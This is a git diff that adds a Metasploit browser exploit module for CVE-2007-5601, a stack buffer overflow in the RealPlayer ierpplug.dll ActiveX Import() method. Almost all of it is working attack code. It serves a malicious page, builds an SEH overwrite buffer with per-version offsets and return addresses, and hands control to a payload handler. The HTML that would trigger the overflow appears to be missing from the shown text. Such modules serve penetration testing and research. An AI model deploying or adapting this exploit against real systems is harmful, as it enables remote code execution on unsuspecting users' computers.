diff --git a/modules/exploits/windows/browser/realplayer_import.rb b/modules/exploits/windows/browser/realplayer_import.rb
new file mode 100644
index 0000000000..2fb8f1130c
--- /dev/null
+++ b/modules/exploits/windows/browser/realplayer_import.rb
@@ -0,0 +1,108 @@
+##
+# $Id: realplayer_import.rb 4953 2007-05-21 20:51:13Z hdm $
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/projects/Framework/
+##
+
+require 'msf/core'
+
+module Msf
+
+class Exploits::Windows::Browser::RealPlayer_Import < Msf::Exploit::Remote
+
+ include Exploit::Remote::HttpServer::HTML
+ include Exploit::Remote::Seh
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow',
+ 'Description' => %q{
+ This module exploits a stack overflow in RealOne Player V2 Gold Build 6.0.11.853 and
+ RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the "Import()"
+ method, an attacker may be able to execute arbitrary code.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' => [ 'MC' ],
+ 'Version' => '$Revision$',
+ 'References' =>
+ [
+ [ 'CVE', '2007-5601' ],
+ [ 'BID', '26130' ],
+ ],
+ 'DefaultOptions' =>
+ {
+ 'EXITFUNC' => 'process',
+ },
+ 'Payload' =>
+ {
+ 'Space' => 800,
+ 'BadChars' => "\x00\x09\x0a\x0d'\\",
+ 'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",
+ },
+ 'Platform' => 'win',
+ 'Targets' =>
+ [
+ [ 'IE / RealOne Player 2 (6.0.11.853)', { 'Offset' => 4756, 'Ret' => 0x601aa72b } ], #rpmn3260.dll (6.0.9.1419)
+ [ 'IE / RealPlayer 10.5 (6.0.12.1483)', { 'Offset' => 4768, 'Ret' => 0x614bd13b } ], #rpmn3260.dll (6.0.9.2934)
+ ],
+ 'DisclosureDate' => 'Oct 18 2007',
+ 'DefaultTarget' => 0))
+ end
+
+ def autofilter
+ false
+ end
+
+ def check_dependencies
+ use_zlib
+ end
+
+ def on_request_uri(cli, request)
+ # Re-generate the payload
+ return if ((p = regenerate_payload(cli)) == nil)
+
+ # Randomize some things
+ vname = rand_text_alpha(rand(100) + 1)
+ strname = rand_text_alpha(rand(100) + 1)
+
+ # Set the exploit buffer
+ filler = rand_text_english(target['Offset'])
+ seh = generate_seh_payload(target.ret)
+ sploit = filler + seh + rand_text_english(30724 - payload.encoded.length)
+
+ # [id(0x60020009), helpstring("Imports a file to RealPlayer's Media Library")]
+ # long Import(
+ # [in] BSTR file,
+ # [in, optional, defaultvalue("")] BSTR playlist,
+ # [in, optional, defaultvalue("")] BSTR clipInfo,
+ # [in, optional, defaultvalue(0)] long bPlayFile,
+ # [in, optional, defaultvalue(0)] long bCopyToMyMusic);
+
+ # Build out the message
+ content = %Q|
+
+
+
+
+ |
+
+ print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
+
+ # Transmit the response to the client
+ send_response_html(cli, content)
+
+ # Handle the payload
+ handler(cli)
+ end
+
+end
+end